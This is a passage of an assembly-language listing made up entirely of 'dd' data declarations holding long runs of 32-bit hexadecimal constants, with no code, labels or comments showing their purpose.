		dd 990A0C49h, 0DF5F3C31h, 0B72B5A59h, 21E3B0ABh, 0B44B102Fh
		dd 922F78E2h, 0D84A9B96h, 97A33BBBh, 5256D81Ah,	89D78160h
		dd 60342F66h, 0DB562542h, 80BAB5E9h, 0A113A7Fh,	965BD0C5h
		dd 0B878AD20h, 45A20053h, 227C8836h, 0BFE65239h, 3DEC73F7h
		dd 3CFA00A1h, 8C1E172Dh, 41A41F96h, 0B59D0B1Fh,	0C2264AFEh
		dd 99D50F60h, 95360108h, 0CC68D261h, 0BB403EA3h, 2AE0F27Dh
		dd 9B965F72h, 0A64980CBh, 0ACF98B51h, 0DC4BB6ABh, 0D195A61Ch
		dd 1E61A9C0h, 0F43EBBD6h, 0CC5E4B6Bh, 0D0ACF827h, 0A2400AB6h
		dd 0F485F3AFh, 0FBC400DBh, 1C22710Fh, 5097CA1h,	57679818h
		dd 9B60E81Ah, 5B811AB5h, 0CC24342Fh, 8D00DBEAh,	867782F1h
		dd 4B48896Bh, 362BCD21h, 0BFDCF0B1h, 8D291354h,	52B3C135h
		dd 20EF2F60h, 619DB50Ch, 12325B4Eh, 0CA564051h,	42FF97Ch
		dd 0FD800F01h, 93345CD0h, 844B9BE6h, 9546B0Dh, 508CEFE6h
		dd 2E0D4126h, 0DBA61134h, 0DC7F02E5h, 0B4C18EA6h, 84F97CB5h
		dd 0E31213FDh, 0D92B2535h, 0FA7034A4h, 382A1535h, 8FD21EC0h
		dd 3FE2EF1Fh, 81B13350h, 872D53F8h, 98FE9A5Bh, 0FBF309h
		dd 5298FD8Ch, 7DBB918Bh, 7383965Fh, 0AD067750h,	0BFEA6047h
		dd 0E61E26D2h, 6D25E38Fh, 601D64F2h, 1E0FFA0h, 273A2D71h
		dd 2E7907EFh, 0EB81E530h, 32483C63h, 38A88A4Bh,	92A74E55h
		dd 275666B0h, 0CAE382B5h, 0BC8659ACh, 9936B481h, 75E23D2Bh
		dd 0F0F126E9h, 7CC70F21h, 99F152ECh, 2F966B93h,	663E40DDh
		dd 971DECBFh, 15918D35h, 0E8A3B581h, 9A7E1005h,	0E6B80435h
		dd 94F59509h, 4EBCB97Fh, 85C08B9Eh, 0C55F5DDBh,	0FC0F43B5h
		dd 69F6EF12h, 0A019F64Ah, 24CAFFEAh, 472C989h, 0B80B859Dh
		dd 4B75E3B9h, 719BAE36h, 49CABF80h, 0AD0DB250h,	0C8D6CDEFh
		dd 0D13D0FD1h, 1B6D9509h, 90053175h, 7940AA2Fh,	4B45593h
		dd 612625F9h, 4ACBF5C6h, 0C6FDA791h, 3B75F09h, 9E9AD180h
		dd 73F5DFAFh, 0DA16978Bh, 0B55F6590h, 0F397BAD0h, 0F689E2FFh
		dd 5BA5BFB9h, 0B821ADC1h, 0BB6117BCh, 6F686ADh,	51F7DA4Ah
		dd 9EACDB59h, 0AA5D1C00h, 0F0367D3Ch, 0F1E3987h, 5DBE31DBh
		dd 0C30D0408h, 0B42A6FE9h, 810260E0h, 0AF143CC2h, 0F392E10Dh
		dd 0FD01847Bh, 7E1BCB8h, 0AC177BCAh, 0A60410Dh,	0D17E614Eh
		dd 4D52A74Ch, 3B76C041h, 780532EBh, 0C74F99D2h,	5E609E02h
		dd 4121CF0Bh, 0E8E6AA9Fh, 330980AEh, 5E5EB7D9h,	8156AD39h
		dd 0DF2A0249h, 5C4650h,	8F2C32F7h, 0DB15E349h, 3C00D0Ah
		dd 73A5A92Bh, 7B4D70D1h, 9C35A02Eh, 0DABCB802h,	481143B2h
		dd 0F217684Eh, 0F214C52Ah, 0BC6A49A8h, 574226C7h, 82A51307h
		dd 0CE5F5FC1h, 0B6359FE5h, 7783ED00h, 48894701h, 0E74A96B5h
		dd 5EBE6925h, 0D1FF8038h, 20799529h, 2B16D797h,	0DC604F48h
		dd 2469164h, 0CDA59DB8h, 23ED8C90h, 0EAABBA00h,	0F26F6351h
		dd 50B7028Ah, 0A3FEE6BBh, 4787CF57h, 0AF0C149Fh, 92BE1476h
		dd 0F3994A12h, 5E6A8414h, 0A3830F04h, 0BDC1275Ah, 9528BEFh
		dd 2BDE5161h, 167D0EDDh, 0A33E7BA8h, 4F7A8BF6h,	2E3091Eh
		dd 4227DB6h, 5054C090h,	6EA3810Fh, 0E2CDA6D5h, 0C725E09Bh
		dd 0BA5F4BE5h, 0E62AD69Dh, 0E1BBA0C8h, 77AD124Ah, 0D1A7EE7Bh
		dd 0A806ED4Bh, 7F3A979Ch, 1D48974h, 236542C4h, 6876DE8Ah
		dd 0C271831Ah, 553BC05Eh, 0B1B201ECh, 0ADD80670h, 0DC0A7CCDh
		dd 21459DCBh, 0FF6A5BCAh, 0E2E1A62Ah, 7F48E2CAh, 0D4D41929h
		dd 1446804Eh, 12F96F9h,	0DD03B236h, 0C01F9A08h,	30975F2Bh
		dd 82012FA2h, 1831DB82h, 0F806B007h, 1F452012h,	0F870E624h
		dd 91DA108h, 988471E4h,	3094B9FAh, 0C780490Bh, 53602D13h
		dd 1F9F8210h, 0BD633F00h
		dd 0DB763E3Ch, 0FA210BD4h, 72F95BE9h, 4CC1B00h,	3842E7D1h
		dd 0B100E5F6h, 0DAE44856h, 0FB62C84Ah, 758FF72h, 0BD0990B6h
		dd 739529E9h, 0B7BB015Ch, 611ACB31h, 0F87530E2h, 0F9B90497h
		dd 517AADB8h, 4F20178Ah, 2B01F319h, 807F3CC8h, 0CDC1438Fh
		dd 416A0208h, 3B8311E5h, 0CD5F9641h, 0C4D3AD1h,	0C87F3115h
		dd 780075E5h, 0ED65AC4Fh, 7FB4A270h, 0B45057Bh,	0C48E3C2Dh
		dd 3828EE7Bh, 0C05F00B2h, 0E78AC2A5h, 467A55B5h, 0E33EF309h
		dd 0CDE07020h, 2F0CFBCEh, 0ADD734AFh, 970C22E2h, 0D68824D0h
		dd 929F3DE9h, 4F92D7ADh, 11BA7E63h, 2781B157h, 0A9EF8010h
		dd 8B09D980h, 0C859722Fh, 62718D10h, 45950D03h,	19259B66h
		dd 42877915h, 0BB00DCF3h, 30ACCA8Ah, 0BDAA6A3Fh, 389704C1h
		dd 123CBB96h, 0E8195982h, 0EEE080E0h, 757016h, 8925CB0Fh
		dd 12B98CB2h, 0E5A70A5Bh, 0A9EDD4A0h, 0D128BE14h, 18FD108Ah
		dd 9A68C5Fh, 2819D12h, 0F8399CE2h, 3F026E4Bh, 0A0D50BABh
		dd 2A7F9CFh, 17D79611h,	90D84377h, 0E272B4h, 94B09ED5h
		dd 0C0A2848Dh, 0C520CBAh, 1FE512C0h, 250D2B6h, 0F9C08A0Dh
		dd 9A166CD9h, 0AC804485h, 2F61AD34h, 186DD22Bh,	0DE5E80C0h
		dd 470903E2h, 0A6D23F48h, 1AD19610h, 156944h, 5DA3B8E8h
		dd 0F9F49F97h, 250B169Dh, 567BFE8Bh, 0E31815F9h, 880D2D12h
		dd 0C2EC05A9h, 6093AF02h, 0FA880FF2h, 0CCB72728h, 0DF79F59Ah
		dd 5A3E3800h, 0B5485Dh,	80893330h, 2B8B5C44h, 0EB86F702h
		dd 5EC8D1DFh, 1B716920h, 0DCD4545Ah, 0B72FE97Bh, 4816F870h
		dd 9CC1A0F9h, 70B5B424h, 0B00ADA26h, 0DAEDE810h, 8AAC5E60h
		dd 1A500021h, 0D0D2F998h, 0B7769314h, 1715A704h, 41BCF5D6h
		dd 0BA574CA2h, 60F05639h, 2F319D23h, 0B5E1FF80h, 0B601EB37h
		dd 0DEEAD682h, 116D1ECDh, 1311BD82h, 9D852900h,	0A990B520h
		dd 14975B92h, 0E104F4FEh, 0F060A66Bh, 91BCF9Fh,	0C72675C1h
		dd 47422079h, 6652EF04h, 309B876h, 0D121B2B6h, 61EB01EAh
		dd 2F4FD8C8h, 28EE0A29h, 82B760F6h, 9A00328Dh, 271CA8B1h
		dd 4B60ED11h, 0F6DD85F5h, 9F30E0C1h, 23B10097h,	70D781F6h
		dd 7C4B4EF3h, 6EFBFE84h, 98FB4B39h, 21B089C3h, 12662840h
		dd 0F4D2B8BFh, 378A3225h, 0B1DA96ADh, 0BF752A7Eh, 30A068F6h
		dd 7104688Dh, 86BB725h,	14A94281h, 0C70DD2Bh, 0D40926DFh
		dd 0CAFED542h, 0DC6FD4C9h, 1AECF3B5h, 625D4E82h, 0EFF65F46h
		dd 0C006B47Eh, 0AAF980B4h, 9D202DB0h, 4D849F0Dh, 0A118160Fh
		dd 4B03FF31h, 93EDF91Fh, 504232AEh, 67373ADEh, 426DC269h
		dd 0F1F7EACAh, 9B4100A7h, 4C8BFFB1h, 942A4A00h,	70D08E3Fh
		dd 1527150h, 56310F5Bh,	0DF585A5Fh, 0F4D38191h,	5502C536h
		dd 0CE5C12BBh, 0A9B85773h, 3E85109Dh, 50219F7Bh, 401C2E9h
		dd 0AD1D5082h, 0D46EFCD8h, 0C154B81Dh, 0C65BD33h, 0B838742Fh
		dd 0D76FD232h, 4A74CB0Eh, 0FA8ABBCEh, 412F0994h, 0F8B4979h
		dd 86B5F18Ah, 0AA4AAEEBh, 0B72FD936h, 1B4925F5h, 18E42FEDh
		dd 0A9E86463h, 89971427h, 0ED12982Ah, 261D079Bh, 424DD6FFh
		dd 61DC1F6Fh, 580F9650h, 529D9D8Bh, 0DA0CF0DFh,	41B26FBh
		dd 123DBD03h, 0F6B510BCh, 0C201A073h, 0DF68C4CEh, 5F588BFCh
		dd 0D0A34321h, 1FA850ECh, 40D690B5h, 83C27463h,	0F12FCE2h
		dd 52EBE368h, 4FF1881Ch, 1000DD7Fh, 6273EC44h, 7185E5BDh
		dd 0BE350118h, 6C567D1Ch, 0CC5625DBh, 667D6050h, 0FE1DD425h
		dd 616E6F65h, 7902432h,	8E68DAFAh, 4F51741Ah, 0D82FC6A5h
		dd 0C9B3208Ch, 0DEE80CD9h, 0E8536AB9h, 34049D77h, 0D373BD10h
		dd 91B843A9h, 7C943Fh, 5DCA7C7h, 0B0539051h, 5667803Ah
		dd 57ECCF5Bh, 7C900A99h, 0DA0F12D0h, 58554B0Bh,	84D1AC71h
		dd 2852B720h, 2C999D12h, 89C33CF3h, 0AEFCE9B5h,	9E581938h
		dd 7F00F633h, 535E4FBAh, 0E14DE988h, 0A0FBB72Eh, 4ABC13E1h
		dd 1008F867h, 205E2D91h, 6B9709AAh, 25F42838h, 7469E7F6h
		dd 957B59Fh, 6554052Bh,	72580E40h, 0CD37029Eh, 7F85C2AEh
		dd 1D043B54h, 6EFE5F43h, 963F0EA1h, 81834E25h, 60592AC1h
		dd 0DEC25685h, 0B95F82D8h, 7134A9F5h, 3FA144A4h, 0D3251B23h
		dd 0BB668362h, 0FEDA4739h, 6B8B5145h, 0F42F5604h, 501D7500h
		dd 39277426h, 0F5FC5CEDh, 9A207CC0h, 0AE00C347h, 745B2D98h
		dd 2580FC5Ah, 0B74D26C7h, 0B601964h, 4C123B91h,	6A521C1Ah
		dd 72EF3BC4h, 0CF5EF81Bh, 1AD19DC1h, 5D27CB2Bh,	2D4A8FFh
		dd 0C4FB6B08h, 1AD1A41Bh, 0ACA12C00h, 10D1F7h, 7B3C2883h
		dd 0CD4E8B91h, 0E21FBF38h, 2030DB2h, 0F40535Fh,	74D2E2D7h
		dd 0B06212F3h, 96042B6Dh, 21EBB4C5h, 3EC577D5h,	16D2FCE2h
		dd 135052E4h, 0BB7101C1h, 3096D7B3h, 0A4AD557h,	954BAEA7h
		dd 0E86DFD91h, 0E1840BBAh, 1B0FA2BDh, 9D89C420h, 0B5A711D9h
		dd 4062CD2Dh, 0A7332619h, 2B59B97h, 93656D8h, 4CF851BDh
		dd 64DBCD95h, 889C631Ah, 286E620Ah, 13CCB152h, 984D69E7h
		dd 258811B2h, 0FA9D00C4h, 5478947Dh, 9C396712h,	77DB81E7h
		dd 0C2832F69h, 1F6EAF2Fh, 9A99603h, 0F304298Dh,	61D88A60h
		dd 684DCCBCh, 0F7B80B12h, 0E9B64EADh, 0B1F8BA0h, 4F8F0F2Eh
		dd 6800AF48h, 0E1BD299Ah, 0AFBA9722h, 11DB755h,	0F9F6CE65h
		dd 0CB6F3B6Ah, 34157205h, 2B2AC2B5h, 2E0FA341h,	4C7394C8h
		dd 0F6A52E32h, 0A0A8A087h, 3BDDFE58h, 7392AE93h, 0D10EC85Eh
		dd 6C50C31Eh, 2E09BB01h, 57C45FD7h, 47B6B6C8h, 9D4D800Ah
		dd 0D9098809h, 0EFB2C9Eh, 6B68EEF0h, 9178C0A3h,	0AC539D07h
		dd 0B3437D0h, 5296EAEFh, 5F7C6F50h, 4B5554A8h, 972C7A00h
		dd 0E02A5EB4h, 8A2514F2h, 0C400EEA0h, 1965BE2h,	334B119Dh
		dd 0A88D514Ah, 599A7BA5h, 9DF81814h, 0BF661818h, 45B93927h
		dd 0ED3F1216h, 526AEDB3h, 85980497h, 96B3F051h,	0C236BF00h
		dd 0BB506327h, 7CA878B4h, 0A67AB905h, 456E01F6h, 324467CAh
		dd 0DDE49288h, 8A1C1CBBh, 349BE886h, 0EB2B04C8h, 0A021F7Bh
		dd 6BEF80C9h, 0F669B25Eh, 8EC525EFh, 7BAA8E12h,	730C0109h
		dd 0F1392302h, 142A4501h, 9E5B72B8h, 7106836Dh,	48CDF09Bh
		dd 6B8D1885h, 2C55628Eh, 0B2A3C082h, 20A925D8h,	0EF739DE2h
		dd 9C5B570h, 7E21B031h,	0B1E65189h, 71C3CD69h, 0E9F961A7h
		dd 5AC52B98h, 3E701FAh,	3F05B59Dh, 95821DF2h, 79292949h
		dd 0A0053FB9h, 0B934341h, 0AC5EFACEh, 41046D69h, 0A47A8425h
		dd 16DED23Ch, 3047EBAEh, 316DAF3Eh, 569CA800h, 0BC5DA64Dh
		dd 0B2A90709h, 0A5C0776Ch, 80EDDE6Ah, 78E59EB0h, 0A763F5Fh
		dd 29ED07A8h, 49E0309h,	0B90B6F2Ah, 0AAEBCD8h, 57D7D639h
		dd 1E8D09BEh, 0DB1132DDh, 0FF12508Fh, 0D5D16212h, 480B4A8h
		dd 82E4B04Eh, 9C4F2C7Fh, 0D062B3E3h, 5F050DC5h,	99D31F83h
		dd 232B9095h, 0D8B1355Ah, 80C120EFh, 93635500h,	5BE999D4h
		dd 8CBB07B0h, 75026B7Ah, 160DAE50h, 86D4BEDBh, 0E67F8A0Bh
		dd 73BB0529h, 0C25018BFh, 0EEDE5D8Fh, 5EF98A42h, 0BA005583h
		dd 83E112D6h, 91B51009h, 449BA506h, 0BC8893C4h,	0A0FFCE3Ch
		dd 0CF9EA8BBh, 6D1AC44Ch, 0E2A5BC1Ah, 73C42974h, 62E54800h
		dd 0BC4F88EFh, 92470E03h, 7A407EB7h, 81C01BF0h,	212554C5h
		dd 4B021FB4h, 164A250h,	96E7E567h, 0C9212C5Dh, 0C0AEDB2Eh
		dd 287ABF02h, 0DE38584Dh, 7F6B9CC0h, 1F0019F4h,	2A493489h
		dd 12AF1A11h, 0A082D79Bh
		dd 6C820278h, 91290E3h,	0C87E9D8h, 3462CA79h, 8580096Fh
		dd 8589182Ch, 5384615Fh, 0DAD3A7B9h, 5206808Eh,	2D23A0D9h
		dd 2A4A90F5h, 8AC32A6Bh, 0F6D380B9h, 86DC805Eh,	0BEAB0436h
		dd 0AEA84A3Ah, 200CF972h, 0D341107Fh, 4605CA00h, 65951262h
		dd 74B5977Ch, 28891491h, 11F59E02h, 8D09FF20h, 5B0E5CC5h
		dd 331D718Ch, 5C6D92BDh, 4211C42Fh, 0D7B06EB7h,	110DD24h
		dd 57BF70E6h, 9D03F1E4h, 0BD3F0E58h, 0F0254661h, 59A5F0F9h
		dd 6CEA08BDh, 89AB8964h, 60403010h, 2D4BC1B2h, 0BE8ED8h
		dd 3F14CC0Bh, 4D19E20Eh, 92779Dh, 2F78C65Fh, 905E615Fh
		dd 2C238293h, 810788BFh, 258C975Eh, 0D002C08Ah,	0B589C82Bh
		dd 9D428179h, 0D940A69h, 591391D1h, 5A8CF626h, 614D74DCh
		dd 0C5853328h, 5F986E03h, 546E018Ch, 1CEEC6F8h,	92DAC88Dh
		dd 5BA92958h, 3F74A3B2h, 0CEEE380h, 0F912D914h,	2212F301h
		dd 42E92F0Ah, 93D72B10h, 85F8B64Ah, 0EA5431CBh,	4410CC25h
		dd 0E7078128h, 8AC1C49h, 1B00A5F5h, 950B60FEh, 835FBC25h
		dd 8961F9BFh, 706A18D5h, 0CB4B13EBh, 4ECA11D8h,	0A041A7E8h
		dd 12495B50h, 0FE810F60h, 89842BF2h, 9F57BE8Dh,	302E99A1h
		dd 0FDC38138h, 1C092E0Fh, 0D50829B9h, 29076B3Dh, 0CF27BFDFh
		dd 18BC70E4h, 3BF7800Eh, 0B8704E97h, 0ECDBAD12h, 3C8E0BB3h
		dd 0E7D105E1h, 0FAD49F28h, 19458440h, 45CBA0Bh,	7B2D3562h
		dd 0C38084DFh, 0FCC4B91Eh, 5C018C1Ah, 0A55B9C1Bh, 0BE417BCBh
		dd 1052251h, 66920936h,	0B81B3935h, 0F6140085h,	381EEBF7h
		dd 0EE01B9D7h, 46DAF381h, 162F4A92h, 0E80CAD00h, 0B2E20411h
		dd 0BB1B9D17h, 0E6FB7209h, 65B3354Bh, 4C29AE16h, 72A75676h
		dd 75E7682h, 5535955Eh,	11EF2100h, 2CCCE1E5h, 99D9D6Ah
		dd 2576BD89h, 11E765A5h, 16BB021Eh, 4623F74Ch, 0C7810257h
		dd 4B99A46Ch, 7469F25Ch, 25F0224Eh, 0B9C5E1FFh,	1B9A218h
		dd 0C4315AB5h, 0A39DAC54h, 182750AAh, 77568A39h, 8B126151h
		dd 5126475h, 0C3BB6660h, 2A1BD2A9h, 0BCEF6C7Fh,	16B0D40Bh
		dd 87EB6E03h, 0BBBD0953h, 6054582Dh, 3FA23DC0h,	0B701418Ch
		dd 160A18E7h, 8FF0E6F4h, 0A48D5C30h, 0B0FB5C0h,	8E4B5BEFh
		dd 6EFE9684h, 726B14F3h, 2C291AB6h, 0A27C87E1h,	4E9172C9h
		dd 0ED6DFDF1h, 342BF8C9h, 1876401Fh, 83DA0F1Eh,	0B9DD3A00h
		dd 52D90494h, 7E8C7B02h, 287BE9A2h, 0CE3EAC73h,	0EF57095Fh
		dd 0A68D71F7h, 10B90897h, 0E6BF5001h, 596BDFF8h, 0D68DE4AEh
		dd 0BF1DAC44h, 7840A17Bh, 4C3CB268h, 0DA8B2559h, 4D1EF050h
		dd 164533Fh, 2B7C6A04h,	325274C5h, 1CACBEADh, 0DE62388Ch
		dd 0ACFA05F3h, 0AAF2B766h, 5C1210C2h, 9D82EF30h, 0B3252C5Dh
		dd 3AF67ED4h, 0FC2116E1h, 8148B79Bh, 0FDF8C024h, 0E94533ACh
		dd 8C50352Eh, 0F91C2D13h, 0B980A55Dh, 2E624A14h, 8FCDB53Ah
		dd 4A601964h, 0DB135D7Fh, 2004C9F5h, 75AE206Dh,	2BEF8B3h
		dd 5EFC52FAh, 62635C61h, 0ED7D89F5h, 0D5FEEBFDh, 0DC1E2909h
		dd 88F6C9B3h, 90124224h, 0B70F5B60h, 468927D9h,	0C0EF4A4Dh
		dd 62C8BB46h, 0A1E80534h, 0BCB1D380h, 0C076CF0Eh, 0FD1C3EA2h
		dd 52011E68h, 0B186171Ah, 0C2FA1B93h, 0C2CCA0DCh, 0AF85563Ah
		dd 0DEB074h, 5416AAEFh,	0CE3468E0h, 8B2D83E8h, 99170DFh
		dd 7C3E35CBh, 1559C209h, 0D4CB5EEBh, 0A3A4A800h, 0D0F10B29h
		dd 92C92F3Dh, 0C4348A82h, 0ABDEC44h, 5772CD17h,	800C64B5h
		dd 5ADB60CEh, 1D5FF0E1h, 277ECFB5h, 0F403D035h,	0E82D03C2h
		dd 4B14E67h, 1FBF6634h,	0A4F2A861h, 514F09h, 0E95FFE84h
		dd 115C226h, 69C8E595h,	6A12ACBBh, 0E3783Ah, 0ACA359BAh
		dd 0B32000ABh, 7E9A314Fh, 92B56051h, 0A833FDAEh, 9D57DAD8h
		dd 8CFA5B4Eh, 0C935FBBh, 258F1678h, 0F965DE8Bh,	0BB022611h
		dd 1A6B417Bh, 1425E396h, 0A65D5304h, 0A04B6084h, 2F0062A5h
		dd 0DC20EE42h, 9F71171h, 0F48C641Ch, 60898259h,	0F24B09F9h
		dd 8D614A49h, 0CA1D31D0h, 1A95CE58h, 0ACBDD145h, 0DDAD00B8h
		dd 8B9673EFh, 0BB50FE39h, 0E7DB4BD9h, 19825E8Bh, 15D7D1B3h
		dd 0EBD341A8h, 0F563C82Ah, 7D6C9A95h, 3190C0C6h, 0D8E2614Ah
		dd 4F2FA392h, 5AE0A6F6h, 9D019E58h, 0BDE20A1Ch,	846AD465h
		dd 82FFF83Fh, 56F2E3EFh, 375D6955h, 26360044h, 8E3E682h
		dd 5A6AD031h, 67CD271Ah, 7A5F0C2Dh, 106A002Fh, 0B529B942h
		dd 0E21F5A6Dh, 36F84F1Eh, 9ACA2680h, 0A71D2E59h, 8C77C70h
		dd 8F907D31h, 2F635C1Ch, 0F6614B48h, 605B0110h,	7735BF43h
		dd 0BD27EC53h, 9A4D443h, 0B4705A61h, 0C202DC56h, 118509A6h
		dd 3B37572Dh, 43821791h, 98F7642Dh, 1DDE644h, 24BD9B4Dh
		dd 2BC18337h, 3CB78D12h, 0AEB3D1B0h, 0BC34F29Dh, 88244042h
		dd 0B65BC16Ah, 55EF2C6h, 365181BFh, 3C27AC76h, 4CA64B39h
		dd 0DC5E3448h, 2B405D1Bh, 134FB096h, 8501E24h, 16B0046Dh
		dd 0B796A949h, 70E7A94Dh, 7CFFCCC0h, 8E13BFCBh,	7A5E04E8h
		dd 59A6C102h, 74E0DB62h, 1B46D600h, 150F5F00h, 82C5ACAFh
		dd 33E7035Ah, 94A8265Dh, 6258DE05h, 98041DA4h, 0BF000C15h
		dd 6A2FA256h, 4B5E9495h, 136C7B52h, 0AC08E8F2h,	4098AE10h
		dd 0FF4786ABh, 69204100h, 0F47834F2h, 0EF10B796h, 0DB003C08h
		dd 0F7736F4Ah, 1DD59F3Eh, 4FFF2529h, 804255ACh,	2F00BE2h
		dd 5DB6F84Bh, 17EB810Eh, 0AE7654E4h, 1EBD5475h,	0BE02C0A8h
		dd 0FECF7E1h, 1393448Dh, 91853160h, 4961F5C0h, 0E2466141h
		dd 7B323A57h, 0F71F503Ah, 0F8B1CA00h, 0E7E433BDh, 78C1BFBFh
		dd 0FD8A0113h, 5DAA282Bh, 6115E487h, 9D2145BAh,	2D15A66Fh
		dd 3D12739Dh, 0FEA3CF02h, 805649EBh, 5DE6926h, 0A6826611h
		dd 7DCE8184h, 793D2B0Ah, 0C69A06Ah, 0B06EE980h,	0B67FE3FCh
		dd 0B8D2E076h, 0D262B5CDh, 1883757h, 35950134h,	0B5E26A0Eh
		dd 0DA6AEFD2h, 532A430Bh, 501CA9DCh, 0C4B7CDADh, 0DA3D8232h
		dd 106DCBC0h, 7B3DFD9Dh, 0CB4D0D80h, 25BDE963h,	9F56F87Ah
		dd 91EA50F4h, 0F87D5BC4h, 0CAB53B33h, 2B368BDDh, 0BB6F42B0h
		dd 0DDB6A309h, 836E595Dh, 0CCBF0402h, 1B6D09C8h, 852AF01h
		dd 0BCFB43A9h, 5B8B0B6Bh, 9EF8ECA9h, 3ACF71Ah, 14A12C88h
		dd 1ABA25DFh, 4F416ACFh, 652B86F0h, 5D308C7Eh, 1999E400h
		dd 0E2AA83CAh, 8827001Dh, 0A11354B7h, 617C7D49h, 71DD5B4Ah
		dd 8E1DDA3Eh, 0F9482B1Dh, 18C6007Bh, 6F437DA3h,	4EB6D200h
		dd 99884912h, 0FF440285h, 97C780D1h, 0F5F8107Dh, 0CDFD000Bh
		dd 16CA4AECh, 0E600CFB4h, 22A8A756h, 950A9FADh,	7F708F94h
		dd 4F4C79Eh, 979ED2C7h,	6A71F0F5h, 0D8EA024Eh, 2E416D1Fh
		dd 0B5DE0434h, 8E252F52h, 0E0D3540Dh, 9C9D1E36h, 0F52A350Bh
		dd 0A6047782h, 0D275AD12h, 0F1B8F8A9h, 3E936D00h, 3228C903h
		dd 0C439B8A7h, 0AEC5E924h, 41CE6438h, 0B8923D7Dh, 3A610F2Dh
		dd 12E3CE63h, 95893137h, 3A386155h, 6DC0F7DBh, 7CCE4B39h
		dd 0DBCC884Ah, 0C3FE508Ah, 0E49058DFh, 0E69B80C0h, 3B02D7AAh
		dd 6B7FA85Ah, 25C1DC10h, 0F30565F6h, 449B9061h,	4241CDCBh
		dd 20122A91h, 3B8D6DABh, 0C501B76Eh, 9D8E2C7h, 710720FDh
		dd 94450B5Bh, 0F7B432D5h, 421825E3h, 5104EF66h,	0E61B529h
		dd 0B62965AEh, 0F9A7A079h, 0DF3E0437h, 0EDB509CAh, 172758F2h
		dd 5C7B0859h, 8FA860Eh,	107F1BC9h, 0A3290Dh, 0AF7C439Ch
		dd 5EB6E2EDh, 0E0B7B400h
		dd 0F9DC31B9h, 31605C5Bh, 23DDE930h, 0B0B6BD85h, 0E4D65625h
		dd 4ABD545Fh, 0F2935D1h, 2B80D509h, 12F8E320h, 0B85B4A1Dh
		dd 372578D2h, 3A39C95Fh, 9D2B4B85h, 0AC02D465h,	9884E3Ch
		dd 0A0380081h, 0F68D9E48h, 2501083Eh, 513DA8E8h, 0CB281C6Ch
		dd 26034DC0h, 780436F5h, 1A2A5896h, 0B5C25DB8h,	650E0169h
		dd 0EB56E59Dh, 9AB0716h, 0C455181Ch, 4B814BD6h,	1D295223h
		dd 21CF9055h, 0F6F842Ah, 60D164E6h, 6800A8B2h, 0AA2B65Eh
		dd 0D268088h, 0DF855787h, 0DCE2615Bh, 0D781F800h, 11196D40h
		dd 0D522B6B8h, 0F5EB041Fh, 0B8696379h, 9D230538h, 0A1891345h
		dd 409DD6C2h, 0A502D5FEh, 55478C00h, 7E2FAE50h,	758FA6FFh
		dd 0A1C7004Bh, 89F46FB5h, 5B4BC8C3h, 0B8305694h, 0B09ACE7h
		dd 0B531461Ch, 0E98DA356h, 0A33B2363h, 0C0BE4C14h, 0C57BD01Fh
		dd 0C9E03B27h, 0C2E6B99Fh, 195C1253h, 5F125BDCh, 3C226FE2h
		dd 3251F6A0h, 2DA5D5CAh, 80093D24h, 80B5D31Ch, 0DBA38E90h
		dd 25000583h, 75C2BE03h, 700BC1D9h, 0F8B526C9h,	6EAA09C2h
		dd 2195A685h, 2ED88BA8h, 0F30C8361h, 54A8EB04h,	0D60AE8E5h
		dd 5CDE1222h, 82316466h, 0B902337Eh, 0B33BC81Bh, 0FCEACCC9h
		dd 9D7FF32h, 17203AB0h,	1CC02B34h, 99CB7AD6h, 0C9BA891Ch
		dd 0EC117185h, 0C1957C42h, 6F8D732h, 880D2DF5h,	7065374Fh
		dd 845052BBh, 0A4C3A8ABh, 0A0CF459Bh, 0A571E8C3h, 6AD8B616h
		dd 0AF0CD108h, 0C2BF4E66h, 0FD14D5CCh, 7004739Dh, 6C0364FCh
		dd 6D3BA0C1h, 5C7E1205h, 0ECFDB262h, 0E7008C1Dh, 0CC942126h
		dd 9D18C2Fh, 8D0FA95Fh,	0BF7943E4h, 0C06B614Ch,	3CA2E8DFh
		dd 77CA0035h, 34841F3Eh, 870BA39Ah, 0B7C2D7DBh,	7FD785FAh
		dd 0FFE45680h, 71159609h, 3698C63Eh, 7966DBB5h,	55202E42h
		dd 49853152h, 5B25DC01h, 7FE97C5Ch, 0CD00D835h,	0B5F1D6FBh
		dd 95F748BFh, 0B812C512h, 0AC73D56Bh, 0AFFF0575h, 0B860DA76h
		dd 2FDB8F28h, 0EF37207Eh, 0EEE6D7h, 8621A87Ch, 0E952BE66h
		dd 5B225A4Ch, 2CAB6CD5h, 0F4AA976Fh, 194BF978h,	9F34B88Eh
		dd 21AA8227h, 5679B85Ch, 0EF027A7h, 0AD602D40h,	510E5D2h
		dd 0A40E719Dh, 24AA597h, 0B312D8E2h, 2DDBE15Fh,	2FCB85Eh
		dd 8D896DD7h, 13D72BC9h, 0C75E094Ch, 95723AB3h,	6F015D2Dh
		dd 1E5740F7h, 0E5256F4Ch, 59B8537Fh, 1C59181Ch,	96FF0E32h
		dd 0EC12EBA2h, 0C24B96B3h, 357E9036h, 8D086016h, 2E8BA402h
		dd 0E1174083h, 7200A28Eh, 85B2F8B0h, 496175EFh,	41BC5090h
		dd 22F0EB02h, 54CF8065h, 0CF4D2705h, 0F5F839C1h, 0ECDD257Bh
		dd 0AC9EA0DDh, 0AE5802CAh, 57DAE867h, 2155E382h, 415F5B02h
		dd 0B4507966h, 25010268h, 925F8F28h, 1F7054A2h,	70F789FDh
		dd 0BD8057B7h, 0B7607B39h, 0E8F84EF0h, 2CFD121Ch, 0CF585AB7h
		dd 0F7302D12h, 23EC4E03h, 31DC9402h, 0AB4A358Dh, 1FCB440h
		dd 2F9B6FE1h, 76EDBBC0h, 0F30BBF88h, 5C69F629h,	0F08ED6A5h
		dd 0E989AA02h, 410373ABh, 0E22A2BCBh, 5CF6D3A6h, 32B8A1A0h
		dd 0A6F1175Fh, 0B910162Eh, 1D9DBC7Eh, 0CBD5A5E5h, 0D65CFC84h
		dd 47E4EE8h, 0DE6FBFDDh, 0C0EBA801h, 0CC039320h, 9ADB00ECh
		dd 0E3167360h, 7B0B14B8h, 5CD98B09h, 305588E2h,	0D4647672h
		dd 0F4D1F300h, 9F10DD5Bh, 466527B7h, 95C1B7DCh,	0B8040911h
		dd 0C0D64C67h, 49F9312Ch, 0B78100A5h, 0AFCF73A7h, 89092D06h
		dd 0DCDF13CAh, 5E0C10C4h, 122EF1B1h, 0B854B94Eh, 938600EFh
		dd 97A0CDE9h, 0C625BB66h, 9455E61Ch, 3C16401Fh,	83002FA9h
		dd 0C7681139h, 9840BDEEh, 188F425Dh, 14486DB2h,	80614EE2h
